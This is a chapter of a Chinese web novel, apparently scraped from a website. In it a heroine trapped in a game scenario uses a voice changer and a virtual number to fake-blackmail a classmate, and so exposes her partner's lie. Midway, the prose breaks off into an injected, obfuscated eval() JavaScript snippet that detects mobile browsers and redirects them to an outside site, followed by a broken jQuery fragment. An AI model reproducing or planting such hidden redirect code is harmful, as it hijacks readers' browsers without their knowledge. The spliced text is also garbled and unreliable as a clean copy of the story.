55. 第 55 章
作品:《恋爱游戏但拒绝玛丽苏》 游韧挑眉,目光中有她问到点子上的赞赏:“我问了,没有。所以我用的形容词是‘刻板印象’。”
俞冰溶都能想象这群男人讨论起女人话题来能有多下/流和猥琐,下意识地抿了抿唇:“我讨厌这种给人贴标签的刻板评价。玩游戏勇于接受惩罚,不代表她在性/关系上开放。私生活混乱,也不代表她对男人来者不拒。”
游韧却曲解了她这番话的意思:“你觉得李航说的不是她?”
他沉吟,“也对,目前也不能排除李航向章筱求欢失败,而做出诋毁她的声誉的事情的可能。”
俞冰溶果断摇头:“不!放在现实里,我一定会怀疑李航求而不得才造黄/谣,但这里是三流编剧撰写的剧本……所以,大概率就是章筱。”
“问卷数据我没有看出新的问题。”游韧点亮手机,看了一眼时间,“那事情就这样盖棺定论?”
“不!”作为任务真正的执行人,俞冰溶自然不愿意就这样浪费这半个小时,“我要验证一下这段关系。”
如何验证呢?
在章筱和李航两人中,更恐惧关系被曝光的应该是正处于另一段关系的李航。
因此,俞冰溶想办法拿到了李航的联系方式,下载了可以拨出虚拟号的软件和变声软件,拨通了李航的电话。
不知道是不愿意接陌生电话,还是现在和王斐在一起,电话重复打了好多次,李航才语气不耐地接起:“谁啊?”
“李航,王斐在你身边吗?”
“在啊!你认识我们?你谁啊?打电话就打电话,用什么变声器?”
“我知道你做了什么事情!如果你不想露馅的话,就尽量在她面前保持神色自然,淡定地接完这通电话。做不到的话,就到旁边去接。”
李航果然做了亏心事,开始向身旁的人请示:“小斐,我老家有个很久没联系的朋友给我打电话,我去旁边接一下。”
窸窸窣窣的一阵响声后,李航略显紧绷的声音响起:“我做了什么?你说说看?”
“你背叛了王斐,还要我提醒你吗?”
李航的声音明显透着一股心虚:“你……你胡说什么啊!”
“要我把证据发一份给你吗?王斐看了之后,表情一定会很精彩吧?”
“你胡说八道什么?你再胡说我就报警了!”
真正没做亏心事的人直接挂电话便是,何必扯什么报警?
俞冰溶轻嗤一声:“我是谁不重要,重要的是你做了什么?”
李航还在艰难地负隅顽抗:“我做了什么?你说说看。”
“章筱你不会不认识了吧?我这里有你们俩……”
俞冰溶话还没说完,就听见电话那端放松地哈哈大笑:“死骗子!敢骗到你爷爷我头上?我和那个荡/妇半毛钱关系都没有,你拿个锤子证据!”
“你到底是谁?认识我们三个人,还勒索我……”
“等等——”李航倏地意识到什么,开始怀疑拨通这通电话的人的身份,“章筱?这通电话不会是你玩游戏输了的惩罚吧?”
早在李航否决他和章筱关系的时候,俞冰溶心底就无限下坠。
她下意识地抬眼看向身旁的游韧,却见他的脸上同样写满被戏耍的狼狈和难以置信。
刹那间,无数个念头在俞冰溶脑海里前仆后继地翻腾。
是游韧撒谎骗她?还是游韧从李航那里获得的信息本就是男人为了增加自己魅力的自吹自擂?
若是前者,那么游韧这么做的动机也很好猜——分散她的注意力,进而让她没有功夫深挖他和纳纳的那点儿破事。
即便早有防备和预料,被骗的荒诞和愤怒还是如潮水般在黑暗中向她涌来。
“李航。”俞冰溶听见自己近乎冷酷的声音。
“你中午和游韧一起玩游戏,聊女人了吗?”
俞冰溶的余光终于在游韧脸上捕捉到慌张,他朝她走近一步,似是想要抬手夺走她手中的手机。
中途似乎想起这会加剧他们之间的信任危机,还是放下了手。
他的情绪波动仅仅维持了很短的一段时间,很快就镇定地站直身体,不动声色地看着她,不知道在思量什么。
“游韧?你不是章筱?”李航登时反应过来,“游韧……那龟孙发什么神经,造我和章筱的谣!”
他大笑,声音极其刺耳,“你穷疯了?听点谣言就来勒索我!”
“是,我中午是和他聊了女人!但老子身正不怕影子斜,我可没沾我们班女同学一根汗毛。真正吃窝边草的是游韧,他可和他女朋友的舍友不明不白着呢!”
“算你运气好,撞枪口上了,哥们还免费送你一消息,你给我勒索他去……”
迷雾拨开,谎言暴露于月光之下。
俞冰溶面无表情地挂断了这通试图策反她的聒噪电话。
高压的审视下,游韧眼睫微颤,神色却像月色一样冰冷,背脊挺直,就好像做了亏心事的人不是他一样。
原来,中午探听一事是真,劈腿对象却被游韧张冠李戴,从其他人变成章筱。
高明的谎言都是真假参半,俞冰溶自然懂得这个道理,也早就有了心理准备。但事情真正发生的时候,她还是不得不感慨游韧的演技。
联系起游韧之前那句“不能排除李航向章筱求欢失败,而做出诋毁她的声誉的事情的可能”,俞冰溶醍醐灌顶。
游韧行事果然缜密,这时候还不忘预防万一,为事情败露的可能铺垫合理的借口。
思路理清,俞冰溶无法抑制地笑了起来。
游韧为了避免奸情败露,装同盟骗她。而她猜出他的任务,却假意装作不知,配合他装同盟,只是为了名正言顺地得到他的助力。
合作的过程中两人各怀心思,各显神通。
现如今她终于发现了他拙劣的小伎俩。而他呢?他是否早就知道她从未信任过他的同盟身份呢?——无从得知。
唯一能够确认的是,两人大概都自诩聪明,实则在轮番当蝉和螳螂。
刚刚还噎在胸口的那一口浊气骤然就散了,他们的恶劣程度分明半斤八两,谁也怪不得谁骗谁。
道理虽然如此,但面上俞冰溶还是得装作刚确信游韧在纳纳一事上骗她,做出一副痛彻心扉的模样。
“原来我才是那个牛头人,那个熟睡的妻子。”俞冰溶苦笑,“游韧,装partner把我骗得团团转,很有成就感吧?”
游韧抿了抿唇,没对此事进行辩解,反倒抱手反问:“你真的熟睡过吗?”
什么意思?
他看出来了?
是什么时候,一开始,还是刚刚?
心中卷起惊涛骇浪,俞冰溶面上却维持着云淡风轻,和他划清界限:“不知道你在说什么。反正我不和骗子来往,我们桥归桥,路归路。”
游韧波澜不惊的目光晃过她的面颊,既不应允也不否决,就那样沉默地注视着她。
俞冰溶可没有那么多时间和他耗,扭身直接往宿舍方向走去。
待到彻底离开游韧视线时,她从口袋里掏出那张从笔记本上撕下的写着人名的纸。
也是这时,她才迟钝地意识到,李航被排
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182513|193268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
除在名单外意味着什么……意味着这一周目她提交的名单和上一周目并没有差别,还是那四个组合八个名字!!!
这怎么可能呢?
问题到底出在哪?
是班内还有情感纠葛没被她察觉,还是问题出现在这四对组合当中?
俞冰溶的目光不由得再次落定在游韧和姜纳的名字上。
难道他们并无关系?
不可能,纳纳眼中的情意不似作伪。
而游韧为引蛇出洞,也亲口在李航面前承认了他们之间的奸情。
退一万步说,如果游韧和纳纳并无情感纠葛,那游韧这两个回合黏在她身边是在做什么?刻意误导她吗?
斟酌再三,俞冰溶还是认为系统给游韧颁布的是推动剧情的工具人任务,而不是直白到专门针对她的任务。
可这样一来,另一种可能性更让俞冰溶头疼。
班上哪像还有什么地下恋情的样子?
难不成是……章筱真枪实弹地睡了班上的谁吗?
对啊!游韧为了误导她,无所不用其极,那么他口中的一切信息就要重新验证。无论是一周目时拜托他求证的那几个男生的恋爱情况,还是游韧口中他的舍友并没有和章筱发生关系的说法,都可能是谎言。
俞冰溶总算抽丝剥茧找到点儿头绪,还没来得及高兴,眼前的光影就物换星移,手心也重新被另一个人的体温填满。
好在这回她的反应能力没有掉线,在触觉感知到的瞬间,就丢开了游韧的手。
四目相对,两人都在彼此的眼眸中看见了不小的波动。
刚上演过决裂一幕的两人怎么可能亲亲热热地扮演小情侣呢?
俞冰溶没忘记正事,伸手和游韧索要回本就属于她的东西:“我的书,我的早餐,还我。”
游韧扬眉:“书装我包里,早餐在我手里,你却说都是你的?我还第一次听见这么霸道的言论。”
“你留着还占位置,我替你分担不是好事吗?”
“我们不是……”游韧歪了歪头,右手食指划拉过两人之间的空隙,“桥归桥,路归路?”
俞冰溶固然很想甩手走人,但她还有任务在身,不想引起老师的瞩目。再者,他包里不只有上午这门课的课本,她不可能在老师眼皮子底下“裸奔”一天。
思量再三,她还是软了口气:“东西给我,我保证后面不会再烦你。”
“不要。”游韧挑衅地横了她一眼,将包包挎在胸前,像是护着孩子一样护着进了教室。
既然已经把话说开,俞冰溶自然不会和游韧客气,直接拽住游韧的后领:“把东西还我。”
他骤然拔高音量:“俞冰溶!我忍你很久了!”
两人刚好堵在教室进门处,被这一声暴喝吸引,一时间无数道目光落定在他们身上。
俞冰溶微微楞住,为游韧的情绪转变。
扭过脸的游韧满目冰冷,浑身气息和刚才判若两人。
她甚至忘记撒开拽着他衣领的手,还是游韧用了点力道,才甩脱她的控制。
他飞速拉开拉链,从包里掏出两本课本,重重地塞进她的怀里,冷声宣告,“我们完了!”
怀揣着两本课本的俞冰溶目送游韧的背影,好一会儿都停留在怔楞和不解的情绪当中。
要两本书而已,早餐还没给,发这么大脾气干嘛?是不是有病?
然而,回过神,视线接触到四周环绕的目光时,俞冰溶才惊觉游韧此举的深意,心脏被凉意浸润——他们在全班人面前决裂了。
游韧这是准备做什么?

